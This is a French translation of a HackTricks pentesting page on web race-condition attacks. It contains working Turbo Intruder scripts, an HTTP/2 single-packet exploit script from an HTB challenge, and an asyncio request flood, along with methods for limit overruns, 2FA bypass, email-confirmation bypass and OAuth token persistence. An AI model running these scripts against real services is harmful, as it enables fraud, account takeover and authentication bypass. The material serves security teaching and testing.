hacktricks/pentesting-web/race-condition.md

25 KiB

Condition de Course


Utilisez Trickest pour créer et automatiser des flux de travail facilement grâce aux outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}

{% hint style="success" %} Apprenez et pratiquez le Hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le Hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}

{% hint style="warning" %} Pour obtenir une compréhension approfondie de cette technique, consultez le rapport original sur https://portswigger.net/research/smashing-the-state-machine {% endhint %}

Amélioration des Attaques par Condition de Course

Le principal obstacle pour tirer parti des conditions de course est de s'assurer que plusieurs requêtes sont traitées en même temps, avec très peu de différence dans leurs temps de traitement—idéalement, moins de 1ms.

Ici, vous pouvez trouver quelques techniques pour Synchroniser les Requêtes :

Attaque à Paquet Unique HTTP/2 vs. Synchronisation du Dernier Octet HTTP/1.1

  • HTTP/2 : Prend en charge l'envoi de deux requêtes sur une seule connexion TCP, réduisant l'impact du jitter réseau. Cependant, en raison des variations côté serveur, deux requêtes peuvent ne pas suffire pour une exploitation cohérente de la condition de course.
  • Synchronisation du 'Dernier Octet' HTTP/1.1 : Permet l'envoi préalable de la plupart des parties de 20-30 requêtes, en retenant un petit fragment, qui est ensuite envoyé ensemble, atteignant simultanément le serveur.

La préparation pour la Synchronisation du Dernier Octet implique :

  1. Envoyer les en-têtes et les données du corps moins le dernier octet sans terminer le flux.
  2. Faire une pause de 100ms après l'envoi initial.
  3. Désactiver TCP_NODELAY pour utiliser l'algorithme de Nagle pour regrouper les derniers paquets.
  4. Pinger pour réchauffer la connexion.

L'envoi subséquent des paquets retenus devrait aboutir à leur arrivée dans un seul paquet, vérifiable via Wireshark. Cette méthode ne s'applique pas aux fichiers statiques, qui ne sont généralement pas impliqués dans les attaques RC.

S'adapter à l'Architecture du Serveur

Comprendre l'architecture de la cible est crucial. Les serveurs frontaux peuvent acheminer les requêtes différemment, affectant le timing. Le réchauffement préventif des connexions côté serveur, par le biais de requêtes sans conséquence, pourrait normaliser le timing des requêtes.

Gestion du Verrouillage Basé sur les Sessions

Des frameworks comme le gestionnaire de sessions PHP sérialisent les requêtes par session, obscurcissant potentiellement les vulnérabilités. Utiliser différents jetons de session pour chaque requête peut contourner ce problème.

Surmonter les Limites de Taux ou de Ressources

Si le réchauffement de la connexion est inefficace, déclencher intentionnellement les délais de limite de taux ou de ressources des serveurs web par un afflux de requêtes fictives pourrait faciliter l'attaque à paquet unique en induisant un délai côté serveur propice aux conditions de course.

Exemples d'Attaque

  • Tubo Intruder - attaque à paquet unique HTTP2 (1 point de terminaison) : Vous pouvez envoyer la requête à Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), vous pouvez changer dans la requête la valeur que vous souhaitez forcer pour %s comme dans csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s puis sélectionner le examples/race-single-packer-attack.py dans le menu déroulant :

Si vous allez envoyer différentes valeurs, vous pourriez modifier le code avec celui-ci qui utilise une liste de mots depuis le presse-papiers :

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

{% hint style="warning" %} Si le web ne prend pas en charge HTTP2 (uniquement HTTP1.1), utilisez Engine.THREADED ou Engine.BURP au lieu de Engine.BURP2. {% endhint %}

  • Tubo Intruder - attaque par paquet unique HTTP2 (Plusieurs points de terminaison) : Dans le cas où vous devez envoyer une requête à 1 point de terminaison et ensuite plusieurs à d'autres points de terminaison pour déclencher le RCE, vous pouvez modifier le script race-single-packet-attack.py avec quelque chose comme :
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Il est également disponible dans Repeater via la nouvelle option 'Envoyer le groupe en parallèle' dans Burp Suite.
  • Pour limit-overrun, vous pourriez simplement ajouter la même requête 50 fois dans le groupe.
  • Pour connection warming, vous pourriez ajouter au début du groupe quelques requêtes vers une partie non statique du serveur web.
  • Pour delaying le processus entre le traitement d'une requête et une autre en 2 étapes substantielles, vous pourriez ajouter des requêtes supplémentaires entre les deux requêtes.
  • Pour un RC multi-endpoint, vous pourriez commencer à envoyer la requête qui va à l'état caché et ensuite 50 requêtes juste après qui exploite l'état caché.
  • Script python automatisé : L'objectif de ce script est de changer l'email d'un utilisateur tout en le vérifiant continuellement jusqu'à ce que le token de vérification du nouvel email arrive à l'ancien email (c'est parce que dans le code, on voyait un RC où il était possible de modifier un email mais d'avoir la vérification envoyée à l'ancien car la variable indiquant l'email était déjà peuplée avec le premier).
    Lorsque le mot "objetivo" est trouvé dans les emails reçus, nous savons que nous avons reçu le token de vérification de l'email changé et nous mettons fin à l'attaque.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Amélioration de l'attaque par paquet unique

Dans la recherche originale, il est expliqué que cette attaque a une limite de 1 500 octets. Cependant, dans ce post, il a été expliqué comment il est possible d'étendre la limitation de 1 500 octets de l'attaque par paquet unique à la limitation de fenêtre de 65 535 octets de TCP en utilisant la fragmentation au niveau IP (en divisant un seul paquet en plusieurs paquets IP) et en les envoyant dans un ordre différent, ce qui a permis d'empêcher le réassemblage du paquet jusqu'à ce que tous les fragments atteignent le serveur. Cette technique a permis au chercheur d'envoyer 10 000 requêtes en environ 166 ms.

Notez que bien que cette amélioration rende l'attaque plus fiable dans les RC qui nécessitent que des centaines/milliers de paquets arrivent en même temps, elle peut également avoir certaines limitations logicielles. Certains serveurs HTTP populaires comme Apache, Nginx et Go ont un paramètre strict SETTINGS_MAX_CONCURRENT_STREAMS de 100, 128 et 250. Cependant, d'autres comme NodeJS et nghttp2 l'ont illimité.
Cela signifie essentiellement qu'Apache ne considérera que 100 connexions HTTP à partir d'une seule connexion TCP (limitant cette attaque RC).

Vous pouvez trouver quelques exemples utilisant cette technique dans le dépôt https://github.com/Ry0taK/first-sequence-sync/tree/main.

BF brut

Avant la recherche précédente, voici quelques charges utiles utilisées qui essayaient simplement d'envoyer les paquets aussi rapidement que possible pour provoquer une RC.

  • Répéteur : Consultez les exemples de la section précédente.
  • Intrus : Envoyez la requête à Intrus, définissez le nombre de threads à 30 dans le menu Options et sélectionnez comme charge utile Charges utiles nulles et générez 30.
  • Turbo Intrus
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

Méthodologie RC

Limite-dépassement / TOCTOU

C'est le type de condition de course le plus basique où les vulnérabilités qui apparaissent dans des endroits qui limitent le nombre de fois que vous pouvez effectuer une action. Comme utiliser le même code de réduction dans un magasin en ligne plusieurs fois. Un exemple très simple peut être trouvé dans ce rapport ou dans ce bug.

Il existe de nombreuses variations de ce type d'attaque, y compris :

  • Échanger une carte-cadeau plusieurs fois
  • Évaluer un produit plusieurs fois
  • Retirer ou transférer de l'argent en excès de votre solde de compte
  • Réutiliser une seule solution CAPTCHA
  • Contourner une limite de taux anti-brute-force

Sous-états cachés

Exploiter des conditions de course complexes implique souvent de tirer parti d'opportunités brèves pour interagir avec des sous-états machine cachés ou non intentionnels. Voici comment procéder :

  1. Identifier les sous-états cachés potentiels
  • Commencez par identifier les points de terminaison qui modifient ou interagissent avec des données critiques, telles que les profils d'utilisateur ou les processus de réinitialisation de mot de passe. Concentrez-vous sur :
  • Stockage : Préférez les points de terminaison qui manipulent des données persistantes côté serveur plutôt que celles qui gèrent des données côté client.
  • Action : Recherchez des opérations qui modifient des données existantes, qui sont plus susceptibles de créer des conditions exploitables par rapport à celles qui ajoutent de nouvelles données.
  • Clé : Les attaques réussies impliquent généralement des opérations basées sur le même identifiant, par exemple, le nom d'utilisateur ou le jeton de réinitialisation.
  1. Effectuer un premier sondage
  • Testez les points de terminaison identifiés avec des attaques de condition de course, en observant toute déviation par rapport aux résultats attendus. Des réponses inattendues ou des changements dans le comportement de l'application peuvent signaler une vulnérabilité.
  1. Démontrer la vulnérabilité
  • Réduisez l'attaque au nombre minimal de requêtes nécessaires pour exploiter la vulnérabilité, souvent juste deux. Cette étape peut nécessiter plusieurs tentatives ou de l'automatisation en raison du timing précis impliqué.

Attaques sensibles au temps

La précision dans le timing des requêtes peut révéler des vulnérabilités, surtout lorsque des méthodes prévisibles comme les horodatages sont utilisées pour les jetons de sécurité. Par exemple, générer des jetons de réinitialisation de mot de passe basés sur des horodatages pourrait permettre des jetons identiques pour des requêtes simultanées.

Pour exploiter :

  • Utilisez un timing précis, comme une attaque par paquet unique, pour faire des requêtes de réinitialisation de mot de passe simultanées. Des jetons identiques indiquent une vulnérabilité.

Exemple :

  • Demandez deux jetons de réinitialisation de mot de passe en même temps et comparez-les. Des jetons correspondants suggèrent un défaut dans la génération de jetons.

Vérifiez ceci PortSwigger Lab pour essayer cela.

Études de cas sur les sous-états cachés

Payer & ajouter un article

Vérifiez ce PortSwigger Lab pour voir comment payer dans un magasin et ajouter un article supplémentaire que vous n'aurez pas besoin de payer.

Confirmer d'autres e-mails

L'idée est de vérifier une adresse e-mail et de la changer en une autre en même temps pour découvrir si la plateforme vérifie la nouvelle adresse modifiée.

Changer l'e-mail en 2 adresses e-mail basées sur des cookies

Selon cette recherche, Gitlab était vulnérable à une prise de contrôle de cette manière car il pourrait envoyer le jeton de vérification d'e-mail d'un e-mail à l'autre.

Vérifiez ceci PortSwigger Lab pour essayer cela.

États de base de données cachés / Contournement de confirmation

Si 2 écritures différentes sont utilisées pour ajouter des informations dans une base de données, il y a une petite portion de temps où seules les premières données ont été écrites dans la base de données. Par exemple, lors de la création d'un utilisateur, le nom d'utilisateur et le mot de passe peuvent être écrits et ensuite le jeton pour confirmer le compte nouvellement créé est écrit. Cela signifie que pendant un court instant, le jeton pour confirmer un compte est nul.

Par conséquent, enregistrer un compte et envoyer plusieurs requêtes avec un jeton vide (token= ou token[]= ou toute autre variation) pour confirmer le compte immédiatement pourrait permettre de confirmer un compte où vous ne contrôlez pas l'e-mail.

Vérifiez ceci PortSwigger Lab pour essayer cela.

Contournement de 2FA

Le pseudo-code suivant est vulnérable à une condition de course car pendant un très court instant, le 2FA n'est pas appliqué pendant que la session est créée :

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 persistance éternelle

Il existe plusieurs fournisseurs OAUth. Ces services vous permettront de créer une application et d'authentifier les utilisateurs que le fournisseur a enregistrés. Pour ce faire, le client devra permettre à votre application d'accéder à certaines de ses données à l'intérieur du fournisseur OAUth.
Donc, jusqu'ici, c'est juste une connexion classique avec google/linkedin/github... où vous êtes invité avec une page disant : "L'application <InsertCoolName> souhaite accéder à vos informations, voulez-vous l'autoriser ?"

Condition de course dans authorization_code

Le problème apparaît lorsque vous l'acceptez et envoie automatiquement un authorization_code à l'application malveillante. Ensuite, cette application abuse d'une Condition de course dans le fournisseur de service OAUth pour générer plus d'un AT/RT (Token d'authentification/Token de rafraîchissement) à partir du authorization_code pour votre compte. En gros, elle va abuser du fait que vous avez accepté l'application pour accéder à vos données pour créer plusieurs comptes. Ensuite, si vous arrêtez de permettre à l'application d'accéder à vos données, une paire d'AT/RT sera supprimée, mais les autres resteront valides.

Condition de course dans Refresh Token

Une fois que vous avez obtenu un RT valide, vous pourriez essayer de l'abuser pour générer plusieurs AT/RT et même si l'utilisateur annule les autorisations pour l'application malveillante d'accéder à ses données, plusieurs RT resteront valides.

RC dans WebSockets

Dans WS_RaceCondition_PoC, vous pouvez trouver un PoC en Java pour envoyer des messages websocket en parallèle afin d'abuser des Conditions de course également dans les Web Sockets.

Références

{% hint style="success" %} Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks
{% endhint %}


Utilisez Trickest pour créer facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=race-condition" %}